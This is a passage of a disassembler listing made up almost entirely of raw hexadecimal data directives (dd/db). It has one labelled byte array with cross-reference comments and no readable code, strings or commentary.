		dd 124D886h, 0F3288893h, 1874EBF0h, 1A00E5B8h, 0AD7E685Dh
		dd 98A884h, 0D8C7A14Dh,	0E7695CB8h, 11230300h, 6E2ED390h
		dd 0B00A00EEh, 1B1A8BA7h, 0AE0773FEh, 0B3F59150h, 85200840h
		dd 3C30004Fh, 4936EF5Bh, 0B0CEDCD1h, 0AAD35Fh, 8AD5028Dh
		dd 0B8C0EF5Ah, 31DAB3F9h, 0DBE30068h, 59F810DEh, 80A66949h
		dd 5092FE25h, 80808D33h, 44E29332h, 1F008F11h, 0DD1E4C5Ah
		dd 0EE8164D7h, 990C042h, 0B18541B3h, 0A0E17900h, 0ED68A645h
		dd 0B7940077h, 0B6E5494Fh, 5700087Ch, 0C66FA765h, 58D893A8h
		dd 4A12BEFDh, 0ACE700EBh, 1FA3511Eh, 50A7AB07h,	0BA82F034h
		dd 23209C27h, 253EE13Ch, 1D8ED830h, 8FE8DB07h, 0B9611A86h
		dd 400AF95Eh, 0D1B69ACCh, 0EC016779h, 7B1D8FD9h, 0F7F817CAh
		dd 5D1407B3h, 9A700302h, 0B53588E8h, 95EA7h, 0DE94CCA8h
		dd 13007679h, 71483D44h, 0F7664Fh, 612ED7FEh, 0ED7A1720h
		dd 0EC0BC700h, 0B642AA62h, 14B23F5Ch, 8151D630h, 524C9C6h
		dd 301F2861h, 0D80045DCh, 0D69241DBh, 0F49D039Bh, 2A03FC80h
		dd 38021FA3h, 0D4423458h, 0A86F6014h, 499401B0h, 200908D5h
		dd 0C5FAFCB4h, 672DF33Bh, 93F0DE30h, 109174Bh, 26D162Ah
		dd 3E9CA06h, 0C0638A1Ah, 0F2C22896h, 19EA627Ch,	4BF615Dh
		dd 0A1859960h, 0FA2A03CEh, 0B9B679BFh, 0BE61CC01h, 97F66F65h
		dd 68E0A021h, 0F0CE500Fh, 0F82C612Dh, 0E8F752F4h, 5BF9C8C5h
		dd 4CB62934h, 6029B770h, 237A508Bh, 0D9072D4Eh,	8F0D4582h
		dd 0DCDBD280h, 0A330149Bh, 63120CE2h, 181818CDh, 8444DA31h
		dd 1841ED4Fh, 708B411h,	0BE10CE42h, 0CC1B858Bh,	80BC0C02h
		dd 301F24D2h, 88BEE62Eh, 7084CB73h, 57218464h, 5F108D2h
		dd 4FA84347h, 44B92804h, 5A21C9ABh, 576F082Ch, 0BB8524C8h
		dd 530C0AF0h, 9C089478h, 0BD6237C8h, 0B18B10DAh, 8A040CA0h
		dd 60675484h, 84D4223Dh, 0D654FB54h, 0FF188B50h, 379CC40h
		dd 0D3AF914Dh, 0F6E112E8h, 86247155h, 9BF76918h, 0D13A3031h
		dd 425FDF78h, 8EBBB800h, 74342ABEh, 6B0F00C0h, 6543C245h
		dd 0AC00898Ah
		dd 0F1A53196h, 1F1CEE6Fh, 0C136B41Ah, 3A3BAF44h, 0A2D4F4D3h
		dd 7438830Eh, 0BC9C409Ah, 3890C4Bh, 155C867Fh, 4AB0EE09h
		dd 0EDEEE3E2h, 3A00D8F8h, 0E1C18D2Dh, 527BC8h, 0F13F8E9h
		dd 53040C06h, 4D0A8001h, 0D0DDC509h, 3428D0h, 3F4B791Dh
		dd 55271CD8h, 3CEB8E00h, 62B33165h, 8F2C0043h, 0F5BBCA0Bh
		dd 90CA091Eh, 0C1F81C3Fh, 0F821F217h, 9F29180Eh, 0DB3DB0E2h
		dd 0F4FB1400h, 2EF55778h, 0A450C0CFh, 0F94C527Dh, 450CC200h
		dd 411CEF35h, 0FB2C143Ah, 7C008479h, 63830AB0h,	80EB87ACh
		dd 426E7B96h, 0C304C80h, 76A6ED2Fh, 0B4004E50h,	58EB757Dh
		dd 0C050077Bh, 0A8EFA29h, 1E188B4Bh, 48693F79h,	0A13900A5h
		dd 67D04C7Fh, 361CBB2Bh, 750086F7h, 0F0D5BE9Ah,	34430028h
		dd 0E711429Eh, 36006993h, 7DCA82FAh, 83C1F9h, 0EB4D4F43h
		dd 0CF2C3F74h, 0BA508F00h, 0FA0E5A55h, 8AF67Ah,	0C713DFDAh
		dd 8D7825AFh, 99696C00h, 0EE434107h, 0C2BA005Fh, 0A661D871h
		dd 0BB0A3690h, 68355D9Ah, 80467E0Ch, 807043ACh,	0DF14DAEh
		dd 38C74827h, 41771C00h, 4B72BE7Dh, 0D29D2F00h,	0CD604F16h
		dd 0BA6F2A82h, 0C73C06C0h, 0A8FBB77Bh, 4781C12h, 88091001h
		dd 0A08019A3h, 8D165654h, 8188C79h, 9AE0BC9Eh, 3EA14881h
		dd 0DEBB1E1Ch, 353DFE3h, 7421D5A2h, 98EA203Fh, 2A309327h
		dd 6B880024h, 2CC660FFh, 3B0E0D7Bh, 0CAF8A274h,	0D7C0843Fh
		dd 18C14031h, 900D4838h, 60008AAEh, 4FEB8B2Ah, 7089503h
		dd 0D4A43867h, 0CC7C470Dh, 0CB24C151h, 0ED827C37h, 410E4492h
		dd 94D81794h, 778E82Fh,	0FB87EA89h, 4802C98Ah, 8520BB56h
		dd 1F94B04h, 89798F2Dh,	50920FBCh, 0CD334FC8h, 0A42592A0h
		dd 40C1B30Eh, 38CBC86h,	1DBE4077h, 82E32C84h, 647F880Ah
		dd 0E0609480h, 0BF28CBA3h, 0B4008083h, 811FA9C1h, 904DAD8Eh
		dd 2B2A0010h, 69538340h, 0C20A1184h, 0A42EA0A2h, 500B180Ah
		dd 772FDD00h, 13C136EEh, 27E0165Bh, 3E692708h, 956B01DFh
		dd 2427F41Bh, 0DB033274h, 380C0A93h, 0E0D0D32Ch, 38972A74h
		dd 7731F689h, 805312E9h, 0D4AEA5B1h, 0A00579D5h, 0EF1530h
		dd 0F8CFE54Bh, 0ADBF5E1Bh, 0E7569200h, 2A4620B9h, 59D7EAFh
		dd 21529B2Eh, 396DB065h, 98C2B003h, 903E77h, 0E6B11F30h
		dd 9AD1BF6Fh, 15888E00h, 81FF705Ch, 9B8B0EDBh, 80203391h
		dd 0FEAA6A62h, 0DCC0820Ch, 0D571CCh, 52742616h,	0D912E528h
		dd 0AA35A51Ch, 65DB0F83h, 22B7D1C5h, 2A7A2840h,	0E416009Ah
		dd 0CB536744h, 1009B23h, 0DD5C354h, 0DAD306h, 9F768049h
		dd 97D1A218h, 6F370A00h, 90E07F8Bh, 52730087h, 2559C2Ah
		dd 0EA1C1D50h, 0D21879C0h, 734084F8h, 0E73F03D1h, 0F6A43AAEh
		dd 124200A4h, 0E0B7C6B4h, 88DB0080h, 1A6B9F51h,	0D9E4AC06h
		dd 500C9A26h, 313D4822h, 6C9C80FDh, 26AFCFA7h, 1AAE03B6h
		dd 23B7FF54h, 7B6D1EC0h, 9BB4B850h, 0ED02EB7Ah,	1C8ED7CDh
		dd 0DBD6802Bh, 1499C6C7h, 849DB088h, 4F09500h, 14C2BDEAh
		dd 0A6C4D101h, 12D47F30h, 5A66EC40h, 9EE061Eh, 0D81DE381h
		dd 57F6B0C2h, 7A93006Ah, 40EFB86Ch, 2D0CE8C4h, 55D9AFA0h
		dd 0F40074F0h, 0C2C99116h, 30A43079h, 0E92220FFh, 94126522h
		dd 84E6AFEh, 7F586161h,	84405ECAh, 6130ADFh, 93C14221h
		dd 66223115h, 7C980C61h, 90787EA8h, 82B9D406h, 11289ED2h
		dd 79DAF4C8h, 4A45A000h, 21649C29h, 0CAFE005Eh,	6AA3F39Dh
		dd 0C20385ADh, 0BA6E9A2Bh, 3D417B12h, 0B7A892D2h, 8CDA3C08h
		dd 0A7911A23h, 0D7A9283h, 38F1C0D5h, 563A245Fh,	0C04C0743h
		dd 78CCB6B1h, 170500DBh, 6B348167h, 48001DB0h, 366DF36Ch
		dd 0EE43965Ch, 0ADA400B5h, 0F8E34935h, 8149EEB6h, 99D3064h
		dd 1834B510h, 19259B8Eh, 812AEF05h, 4A00A0ADh, 777BD25Bh
		dd 0E0C3C6E5h, 4C9285h,	3F83CDBh, 53EFD055h, 395EEE05h
		dd 0E8035438h, 8862A2D3h, 3EE4372Bh, 0EAF4E9D9h, 0C6DE0478h
		dd 9C9AFA16h, 4E2A6420h, 0FE20C8C3h, 43E80492h,	41D7371Bh
		dd 0F142D424h, 0C5E01131h, 19A00C9h, 8EC2C876h,	4930924Ah
		dd 13F2C81Fh, 4B00356h,	949E9799h, 0A79A5000h, 6F1AEE21h
		dd 0F8F638B6h, 10F7BA98h, 0FE00D222h, 0C888F2F4h, 5496DF69h
		dd 62E930AEh, 0D186B185h, 3F064880h, 21022A27h,	0C2AF1F1Bh
		dd 0DA1848DBh, 2E802DEh, 80D90DF3h, 416BCBAh, 806F1626h
		dd 0EF6D909h, 0FC7A37Ch, 7A21D623h, 0E8DF0025h,	493D3C89h
		dd 0FE74F69Ah, 0A79180FFh, 11F5F8EBh, 21C3067Dh, 61DA9A36h
		dd 56BE39h, 1590261Bh, 58B43A6Eh, 32127B3Eh, 1D12B5h, 2E5D9D08h
		dd 99009849h, 86C6CA39h, 0ECC2C4h, 6304761Fh, 0BC1BEF69h
		dd 93B0A602h, 4AD3B710h, 1488B2Ch, 9685311Ah, 0C9806EE0h
		dd 98A1F908h, 0C89A8925h, 2F00975Eh, 100863EEh,	14DCFDE5h
		dd 24485C77h, 459BFC00h, 0DA512D31h, 0FE242084h, 83160200h
		dd 0DE4C19F0h, 1EB6004Fh, 0E42CA01Bh, 2B013201h, 35ED7346h
		dd 0DD3120BAh, 0E36ED883h, 0CEE86B62h, 480CA542h, 0E0DAE1A9h
		dd 0EBB60A04h, 40B47471h, 7DCEF8FDh, 91188C21h,	0E0050048h
		dd 4DC5CCF8h, 4F7873ACh, 0F46F821h, 0EC1C1F06h,	0C5287Ch
		dd 118239FDh, 56901DDh,	0C3FA9604h, 0F080450Ch,	0EEC02CAh
		dd 6FF4A2C8h, 0C0B60704h, 412039F8h, 1000DD48h,	0D6C01842h
		dd 0E482E1F8h, 9B6422B0h, 304ED799h, 36E2F8E0h,	8F309A19h
		dd 93BB18B3h, 0D4B6538Eh, 0D7837D14h, 0B054C414h, 0B380C0C8h
		dd 40752D5Eh, 34D7043Dh, 0CC21F0C1h, 580EBAF8h,	60C0C639h
		dd 0B569D3CFh, 456E2420h, 5D3B0134h, 300E5CC9h,	0ACEE6748h
		dd 47287774h, 1B00C4D4h, 25BDBEB7h, 7A5CCBAh, 0A2BBBF75h
		dd 59C44065h, 96509DE5h, 0B2195A4h, 2788017Dh, 44F9CC8Bh
		dd 0A1A421A0h, 0EADD019Eh, 5C0B70h, 0A24E9F22h,	8E77314Fh
		dd 0BB996960h, 809481h,	18B99790h, 78F4E40Dh, 3F57A115h
		dd 555000A0h, 0AE64B7BAh, 8C32004Eh, 0DD7892BEh, 0EF28458Eh
		dd 0F401946Fh, 0DEA71AD3h, 9181F7A2h, 4CA6B64Bh, 749F8FBh
		dd 0DDB2630Fh, 0CCE2C36Eh, 6153B8B0h, 9AC200BEh, 9587627Dh
		dd 0F928051Dh, 7005A181h, 6778A322h, 82527800h,	1189DD18h
		dd 10959B34h, 1B00A74Eh, 0B6AC8EDh, 0D37807C7h,	6D3BEA00h
		dd 95BBB668h, 5601D9Fh,	893F87D6h, 0FC7CC007h, 0F21CBADCh
		dd 3980BFE8h, 57615147h, 34E0A065h, 4ED0A0D0h, 134C00B1h
		dd 36F9EE0Ah, 0F12E92A5h, 0A1000855h, 2470BFC9h, 8A340023h
		dd 0B0BA6F9Fh, 0E5F29A2Fh, 85627100h, 0A6F10665h, 58849111h
		dd 3869EA1h, 0A9442DD7h, 6AF025B5h, 97022783h, 0AAC38981h
		dd 65684856h, 0CFD0007h, 0AB04B552h, 4E0308EBh,	1B4715Dh
		dd 0D0F9D32Dh, 8CE927h,	7989477h, 2FBA2613h, 0C97FF2FCh
		dd 14322938h, 1F6D734h,	0E6506716h, 0E8C01DB8h,	6C4A4DDCh
		dd 585C0292h, 6C6C1531h, 0FECB20h, 638245A7h, 734DC8AEh
		dd 0CAE5EC01h, 884E048h, 0C8546D8h, 9F75B19h, 0C0DF430h
		dd 60A41564h, 302D620h,	16772FCh, 65B0A21Ah, 7638EB5Fh
		dd 1D9B0018h, 0C250E946h, 6B50A064h, 0EFE72293h, 52782007h
		dd 16393C1Ch, 4AAE00E8h, 20DD3982h, 0DDE36656h,	233061DCh
		dd 3048A230h, 27005058h, 3F527C11h, 257EFE9h, 1BF073FFh
		dd 0F4488846h, 100844Dh, 0B0C49038h, 6BE18A3h, 59DDE41Fh
		dd 53002EBAh
		dd 0BBA5DB5Ch, 37AC385h, 4F860B1Bh
		db 0BFh
byte_530055	db 0B4h, 84h, 8Ah	; DATA XREF: ___:off_437A54o
					; ___:off_437A6Co
		dd 0FF3DC088h, 13F41431h, 7638EBDh, 0F0BB947Bh,	0FB61478Dh
		dd 48ED110Eh, 2856C010h, 3A828A6Fh, 79C8AB91h, 8A22A00h
		dd 44D7A93Dh, 7D543403h, 0D88BF88Ah, 35E040h, 76E1D5DFh
		dd 316832A3h, 455130C0h, 0E32D8586h, 0FBE014F9h, 0B916070Ah
		dd 830378CFh, 80F7390h,	15CC8Ch, 340F7CDBh, 0CB90F2Fh
		dd 5600D670h, 337B9749h, 446C1503h, 80D24648h, 117688h
		dd 9BFBF76Ah, 0E21C64F9h, 98E9D31Eh, 0CC68B800h, 56230D9h
		dd 3FFB45Fh, 34840870h,	0E0163280h, 84711Bh, 0BB69FDDDh
		dd 0DE31EB0Ah, 120E1107h, 0CCA0CDF4h, 3D1415Bh,	648965D6h
		dd 40001DE1h, 0D5438559h, 0D4B29Fh, 9A4C273h, 0EC700D02h
		dd 82B12800h, 0F0340CEh, 879F0078h, 0E1A7660Ah,	90A02EAEh
		dd 0B9508A09h, 65001494h, 0B5FE2F39h, 2FAE9A8h,	331FBDBCh
		dd 57E09DD0h, 3E1823F0h, 9B30678Fh, 6E7F0318h, 9C917733h
		dd 74EB0195h, 437CA4B7h, 55E0C780h, 4403AD71h, 16BDAE68h
		dd 1408C05Ah, 0E27000BAh, 47F41702h, 9D0C4F2Eh,	0E01C29CAh
		dd 25A0A4F2h, 5FF07CC1h, 0A0F8F029h, 780DB15h, 8B36CED5h
		dd 0B7F785C1h, 115EB30h, 0EEA94C79h, 247184EBh,	0E5006204h
		dd 0BBDF0F17h, 2A9576B8h, 1346B5Dh, 480B7CC8h, 0C28ECAFFh
		dd 58559D24h, 808F1F3Ah, 90402904h, 30463BF6h, 0B89A8250h
		dd 0C41FF71Dh, 2372A5C0h, 3B34BEFAh, 0B20ACE60h, 0C09C6252h
		dd 77C16D21h, 2086B8E8h, 49070B90h, 34DD6EEDh, 0DFEE1550h
		dd 0A5858C6h, 0F10E5607h, 19CBC375h, 0C8645829h, 860B9058h
		dd 0EC941F00h, 0F2BDDBBAh, 0A01401B6h, 4BF98453h, 0F7C1FB32h
		dd 0C8A8F4FDh, 9C2C1824h, 49C0D564h, 48C6EAA0h,	7869C50h
		dd 6E0A20F2h, 0BA87B8ADh, 2EC6CA06h, 0EC5A09B0h, 5E00E03Eh
		dd 25C17DB3h, 0E5503F70h, 0B10008C4h, 84E2BCC0h, 32F26A6Eh
		dd 1B0852D3h, 0EC08BC80h, 0AC0016F1h, 85900588h, 92681EE2h
		dd 382E0030h, 6669E704h, 8100FAE8h, 37BE41BFh, 0FC0A577Fh
		dd 97C20443h, 90AC2F87h, 0E7885178h, 6C759C1Dh,	4E0038E4h
		dd 1909FE86h, 13E9CBE2h, 2FE5D70Eh, 357444C7h, 3D401EF1h
		dd 10F20B17h, 1ACE0040h, 833EC896h, 5B0086EDh, 0AC75E0F6h
		dd 7C82D450h, 62AD017Bh, 0B6DEB42Fh, 56BBDBC3h,	9C7729F8h
		dd 8109449h, 4051DD85h,	7C165572h, 0B7B3A908h, 0CA918Dh
		dd 2B6E7E9Ah, 2607C831h, 35CF348h, 3C8C20E3h, 70AA9389h
		dd 5301A174h, 63EC7739h, 85E423E1h, 0D056009Ch,	7802DC48h
		dd 0B4A01C26h, 0F04D0FA3h, 903B0C80h, 98781948h, 0F72E00B3h
		dd 8EE35D55h, 0C4090EA4h, 801F40E0h, 0F86FF2D4h, 9B9709C6h
		dd 0A8206E91h, 0CC6B559Dh, 0B50F5000h, 0A5974E6Ah, 0D5613BDh
		dd 0DC6C020Eh, 9880D058h, 4147BA0Ah, 0EFC87154h, 0AF00A09Bh
		dd 7748047Ch, 10F84297h, 7A1DD0h, 56603662h, 8CDB2B52h
		dd 78F019C2h, 96F8802Ch, 3F910F6h, 64DADE12h, 5BB8C284h
		dd 7BB891E8h, 0B0CBC080h, 3A48C0D4h, 5039A44Bh,	2ABD1056h
		dd 740980A2h, 0F7CCF58h, 0E9D8404Ah, 12B6C33Eh,	2806258Fh
		dd 1F0F9206h, 51951870h, 2E98A813h, 0BA1D8A00h,	9030B2C7h
		dd 0AD693F43h, 0F7BA439h, 0F1190A88h, 0BC362D40h, 1205BDBFh
		dd 802057B0h, 7C71BC27h, 2C20DAC1h, 0C23F078Ah,	3023CF69h
		dd 590F8B96h, 0C00B54B0h, 751ED35h, 0CA634130h,	0A37E05C9h
		dd 9A5B7ACDh, 0C0838898h, 22AF1737h, 0B3D33200h, 0FB85E388h
		dd 83AD1D56h, 0AC491479h, 2C435FBCh, 0BCDB1C07h, 0D119A0D0h
		dd 4307DC06h, 0AD3BA26Fh, 0C34CCED0h, 951800F5h, 0E9DA3776h
		dd 1303F8C6h, 0CF0366BBh, 573CC180h, 85378040h,	1BAD00AFh
		dd 0BDB2F80Ch, 0D500A83Ah, 967A0105h, 7EC229h, 0BB1626EBh
		dd 3F88DE5Ah, 80230300h, 0E5A3D8B9h, 59AB05A5h,	851D5C8Ah
		dd 491E00FCh, 74BB8C7Fh, 410061E6h, 530375BAh, 7A6E82D8h
		dd 0A05D0039h, 3B1BCDA7h, 3F00BF0Ch, 0FA5A5036h, 0EB16AD7h
		dd 25423CB6h, 20268027h, 59B73986h, 2F3D0D03h, 0AEC85Fh
		dd 74AB4C21h, 2AF9B086h, 0C50EE5B0h, 605C9DE0h,	0F82E57B6h
		dd 92870114h, 38E27206h, 7AF53042h, 9BD7B007h, 830C039h
		dd 0FC6EF457h, 958100B4h, 6D8EFDCFh, 10032F0Bh,	0CAD035D7h
		dd 43BB4Eh, 29F28340h, 6CFBAFCCh, 35ABAC00h, 0E1221B95h
		dd 0C630005Fh, 64C8F7E9h, 611DAF05h, 83CE0827h,	57A440D4h
		dd 3C1EB4C6h, 0A8941007h, 0A2038068h, 5EF4978Dh, 0E916CBB0h
		dd 0DC766918h, 18985D70h, 0F8CEA9A4h, 0D4601A3Bh, 0D8372B18h
		dd 4FE80036h, 0C9CD89BEh, 0B700204Ah, 550127Ah,	0C3287860h
		dd 59919D8Eh, 0A35852D0h, 8AD9B33Eh, 4DA0FADh, 0C07BA760h
		dd 1D3715AFh, 0D2BD0CACh, 570030B6h, 0B83C9B74h, 649863h
		dd 459AEEAEh, 169001CDh, 4A0CF350h, 0E13B9942h,	0C640FCBDh
		dd 283BD222h, 2118F1F9h, 300697FEh, 28195F3Eh, 4318269Ah
		dd 40F24CF5h, 62104918h, 0CE2A8228h, 0ED9E0824h, 26049D61h
		dd 7F45346Eh, 0C2180565h, 540C040Ah, 0A55E2249h, 3045A524h
		dd 18040BFAh, 76213B6Ah, 5D18814Eh, 272AFB04h, 0AB9E60h
		dd 23BFFB0h, 0D473ADCEh, 5AE5A8A0h, 1BD98103h, 0E1158367h
		dd 0C4503D9Bh, 392903E7h, 0F8014422h, 1E4608BBh, 0FF7C0058h
		dd 0D0EE002Eh, 0AFC6ACCDh, 4F0096A0h, 5998B453h, 697910h
		dd 7576D6B3h, 95AB418Dh, 0DC51E107h, 9BC06BBCh,	0E24A546h
		dd 573A5E9Ah, 7732C03Dh, 5C81CB78h, 0B245AB00h,	8276726Bh
		dd 3E4CA8D7h, 43CC00DFh, 4832B6C7h, 4D00BDA9h, 0FCDC830Bh
		dd 3985981h, 0A7731186h, 68D8E532h, 7D7BB41Eh, 0CB2CDD00h
		dd 0E17AEFA9h, 0FC7E071Dh, 502EA4E8h, 0AEAC29EDh, 5A57C9E4h
		dd 13A1101Ch, 0FC4A1BF1h, 60002D0Fh, 0D816486h,	34EC9552h
		dd 7CA83616h, 68EE19C0h, 8ED98300h, 2D6A3843h, 6393EA84h
		dd 5A6129ADh, 36E814F0h, 0B856A700h, 812F2A7Ch,	0DF0400B1h
		dd 2DCB41D6h, 0FF000F80h, 9C5DB9FDh, 5A7C13h, 85C8993Bh
		dd 259EC2Ah, 0F4692800h, 1B193562h, 744600D9h, 0B104D327h
		dd 3C73A790h, 72426D00h, 92B08B07h, 33AE0035h, 8CD3D29Bh
		dd 0D7079C76h, 0CC631E24h, 0F5034F90h, 5E110079h, 869B3D4Eh
		dd 0A8107526h, 0E6753F83h, 9B0C444h, 1C083BFAh,	14D45597h
		dd 4CC8899Dh, 0DF262CA0h, 52DC8500h, 2F759EAAh,	68D70121h
		dd 39498FA2h, 0A0FFC42Eh, 0D1377900h, 3F90AEC6h, 3D4800B0h
		dd 0C622B5Ah, 0F6000599h, 2E389BBEh, 434231h, 5D7AB977h
		dd 60500115h, 99004B7Fh, 692E29F1h, 73C730h, 3392AF81h
		dd 9116A620h, 0FF14EA01h, 0A276442h, 76173081h,	40395C72h
		dd 4CB15FB8h, 949E2100h, 63FC5875h, 2F0E0C12h, 0B8D02470h
		dd 6B338F00h, 9A34299Ch, 0F5171838h, 63F6403Ch,	44700207h
		dd 0E06ACD72h, 32794700h, 583C1F3h, 927595F4h, 80AC2B65h
		dd 1760E7Dh, 60670FC0h,	7C00AEC5h, 0B15198Dh, 97C93100h
		dd 48DD8E0Ch, 9F490098h, 210D7868h, 1B29ECF8h, 305CF004h
		dd 38E83970h, 0B0017521h, 0C725FC5Fh, 3422A044h, 29C06D8Fh
		dd 9862F006h, 0B2EFDA00h, 20F7A71Dh, 517D4Fh, 6F03B828h
		dd 0BBAC1487h, 0B179B400h, 0F323E6DFh, 6AD30042h, 39F1EBDAh
		dd 5B01AAD7h, 626DCCFFh, 90804C06h, 7A483A38h, 0BD3C0B61h
		dd 0E6800DDh, 0A9866ECAh, 84AE97h, 8BA757E0h, 14FF9DEh
		dd 0FF937C00h, 53BCB31Fh
		dd 0B6B00DAh, 1D348588h, 0C3018C63h, 0CFDC4D23h, 8AD81566h
		dd 1F5F02A6h, 0D08E4559h, 0A0C7044Bh, 4CF5FD75h, 0D2A68F1Ch
		dd 1AFA6E80h, 520988EBh, 2B48D0CAh, 81384F07h, 0A8298061h
		dd 64917E37h, 272A5C5Ch, 58C00848h, 2909A101h, 9F6C8C0Fh
		dd 6A4F6002h, 0B8BE9773h, 0E59404E3h, 9FA417FFh, 6838350h
		dd 9ABBF8A4h, 66E8DBh, 733B9586h, 0CE08C471h, 0A6901205h
		dd 9B0E2E3Fh, 9AD020B8h, 0F6BB65h, 2264C9F3h, 4669A420h
		dd 0ABFE5200h, 92B73FDBh, 0E45D2472h, 22C701C0h, 0F9CEF484h
		dd 0E5708104h, 4C2C2618h, 0F70EE830h, 0E4F1CCh,	55C3D9D0h
		dd 0CBFC85E8h, 0F544F701h, 0D6DCDF0Bh, 24FAEC4h, 0B1902C27h
		dd 44979442h, 79CAE50Ch, 0C2A033Ch, 0E182069h, 0C8EBC0EFh
		dd 0AA0166E4h, 4A804B72h, 7BCCDEBBh, 31733974h,	66EDE801h
		dd 0E036D016h, 1B635EEBh, 0C078AD10h, 80E88CE0h, 0DF07496h
		dd 45215360h, 2033931Ah, 1D3CE4A8h, 65901878h, 60103930h
		dd 0AE3E78EEh, 0FC00ACA8h, 900930C0h, 3BD9CD2h,	97C15042h
		dd 0EF92C5Ch, 0EB29D0C2h, 7E685095h, 28E90067h,	5C090B44h
		dd 3C0020B1h, 8AC8D502h, 0F091C6E8h, 107A0057h,	0B607E20Fh
		dd 0C1F40AADh, 8101463Ch, 0F01D13C3h, 8EEC9A4Fh, 75360083h
		dd 0D660FD39h, 263EC80Bh, 5E600CAh, 46C4CF11h, 629400BEh
		dd 4F3DBD25h, 837919B6h, 86748C3Bh, 905F9A77h, 80010048h
		dd 799EFADCh, 0BE1D450Eh, 0A71C9667h, 92D32B47h, 0AA861F80h
		dd 0B7C11D42h, 72F54038h, 0DBE7FB3h, 0E67D600h,	8E7A3623h
		dd 0E9B01D5Dh, 10C303C0h, 0E8A35693h, 61CE98C0h, 0AB781771h
		dd 0F2748600h, 0EAE38D37h, 7D421F06h, 4F8E03BEh, 0F5882130h
		dd 927CEEA3h, 700F07E8h, 2C1231C5h, 0F71025h, 0F4D4E4F2h
		dd 7A6B3DDAh, 72B2B900h, 5968D6ECh, 0D1F3EF62h,	0DAD0AEBBh
		dd 0E8F9005Dh, 0A38DBAEEh, 3B05233Eh, 7D6D12B2h, 0C0A61423h
		dd 40D2C25Eh, 6F008584h, 0E3F16436h, 60994C1Fh,	2DB208E2h
		dd 0FD3A6DADh, 5F8C00FBh, 2E48B8A1h, 0E8C73015h, 259A0439h
		dd 0F3EC130Eh, 420C8226h, 2D0630E6h, 0F90CA11h,	8410A480h
		dd 0D33A4C76h, 0C13852BBh, 1AF4C448h, 36FE0400h, 3022442Bh
		dd 0D2834284h, 5CE42958h, 2C76BA02h, 601355D6h,	56F82F5Dh
		dd 6863500Dh, 60BCA888h, 0C5B93984h, 722D1D40h,	389A5768h
		dd 76B899C0h, 3075AC2Bh, 64CBE88Ah, 0B54AC461h,	2500184Ah
		dd 0F2D940A7h, 6405303Dh, 2DF8294Fh, 9F3C4460h,	69D310A5h
		dd 0EBC0DC17h, 0D0CC4A77h, 600CE87Ah, 6F4CC8D7h, 0B4A51358h
		dd 0EC5070B0h, 350A491h, 4A7555A4h, 814E92Ch, 33D4086Ch
		dd 2B13ECCCh, 848E510h,	8B468E8Dh, 2441AC0h, 81D788E6h
		dd 790B4C50h, 50B28CE0h, 88EACC6Eh, 4DE8FD81h, 0B00E50A5h
		dd 2CE44A89h, 0BB7914BBh, 7088E6A0h, 0C5046B5h,	0C871D184h
		dd 1EE074FBh, 6704DACh,	0E8E124ECh, 10722131h, 2895731Fh
		dd 0C9149C5Bh, 0C14C0B2h, 0E41DA027h, 0A2CC0A59h, 0C210E054h
		dd 0C642949Bh, 0F8605800h, 4532E0F1h, 6B3ADC70h, 0AF400F54h
		dd 3380014Bh, 0B09DC88Fh, 68093E8Dh, 69F47A86h,	0EE0270Fh
		dd 0AF1F80CFh, 5F2FB3h,	7C41EA05h, 79B1D025h, 7A52CE00h
		dd 0DC3BC2E1h, 0FFB41CC0h, 604918F1h, 7B05DAE0h, 399C80EDh
		dd 0FA902820h, 0B6091CEAh, 99086158h, 0F4610CC1h, 5CFB4098h
		dd 0B810B744h, 0B9C0EBFDh, 0A0F219A3h, 70F9BC0Eh, 3847CA5Eh
		dd 0B59E12C1h, 0AC32D918h, 98CCB0A1h, 0C763E34h, 93DC2D7Dh
		dd 0B4003410h, 91C31A44h, 0A145988h, 0CDC17A51h, 0EC56601Ch
		dd 0C9F238AFh, 0E579880Fh, 0A8A0AAD1h, 0A0250h,	823CC031h
		dd 0D56A9988h, 0E30A80FAh, 1860CECAh, 3D781AC0h, 0B90340A5h
		dd 3AA07E40h, 0C042AB57h, 0D3C10A43h, 0E888D49Ch, 0C0CED40Ah
		dd 0E054C758h, 5FB91C06h, 9AF9DE01h, 0ABE03DC9h, 0CEC0D85Dh
		dd 0D7DB0029h, 0F319C195h, 3CAE3DD4h, 35290706h, 3280181h
		dd 3DCD8A39h, 49D7A640h, 5E140416h, 10180F61h, 0C00FBC59h
		dd 15F1949h, 20C512B5h,	5CDCF939h, 0A038060h, 597279F0h
		dd 0C89CA0DEh, 49BFE13Dh, 0DC559E81h, 213BB60h,	44098E0h
		dd 0D0AA1875h, 1199406Ch, 343880A2h, 5400A555h,	0ED4CBE5Bh
		dd 0BDEF6Bh, 8EFC43CCh,	349F0320h, 0C023C60Eh, 3AC480BBh
		dd 7F8B07Ch, 0BED4BDCh,	4E30CCFAh, 231EBC74h, 0A30ABE97h
		dd 33631CA1h, 6684B026h, 2BE01810h, 0D6E3304Bh,	60095221h
		dd 0B19342F3h, 0E001AA06h, 296811CBh, 8314EC83h, 58A1BD1Ah
		dd 0EB5FE4D8h, 106D4B29h, 73D3083Ch, 0BA8B80ADh, 0A3830916h
		dd 43CA4A0Ah, 0D960184Ch, 6071450Ah, 17ABE034h,	6356CA4Ch
		dd 99670050h, 0F74E389Dh, 0C74B105Fh, 5A9E0BAh,	917500CFh
		dd 836B5FF6h, 28AEF9C3h, 1013D3Dh, 5FF566E3h, 0F9E8470Bh
		dd 0A841FBA3h, 389B8283h, 0EEA119E3h, 0BAE4DC4Bh, 3C8408CAh
		dd 9DACCDC0h, 412B8851h, 302338C3h, 0BD43A1D0h,	493C6400h
		dd 582EF8E9h, 0F8A504F0h, 65B970Eh, 7E48AAF7h, 0F2280ACBh
		dd 0E09C0523h, 8BADC8C3h, 4EB29C0h, 294490E7h, 40505601h
		dd 0B50E2F40h, 601CCA4h, 2CA4E609h, 0D63017ADh,	0E18A433h
		dd 0D1D21F15h, 0AB50C5E0h, 9E3E7283h, 9DB800A4h, 0F8678604h
		dd 0B7E23C23h, 0D6E08403h, 6AA0A490h, 6D30431Dh, 4973600Dh
		dd 606C91C7h, 0C1D0E2B2h, 4BC0F861h, 43D96635h,	1D1D6CE4h
		dd 767BC3h, 0E36FCB63h,	40742C44h, 0F4182401h, 2F35C309h
		dd 2E1BE8D3h, 0DA043CBCh, 16843074h, 30494408h,	0E09E10C3h
		dd 63FB8022h, 0C35AF0A8h, 62C62408h, 64D1101Fh,	30FC82Eh
		dd 37F8C709h, 59BB4341h, 0C0776898h, 0BC48CB83h, 9B80E438h
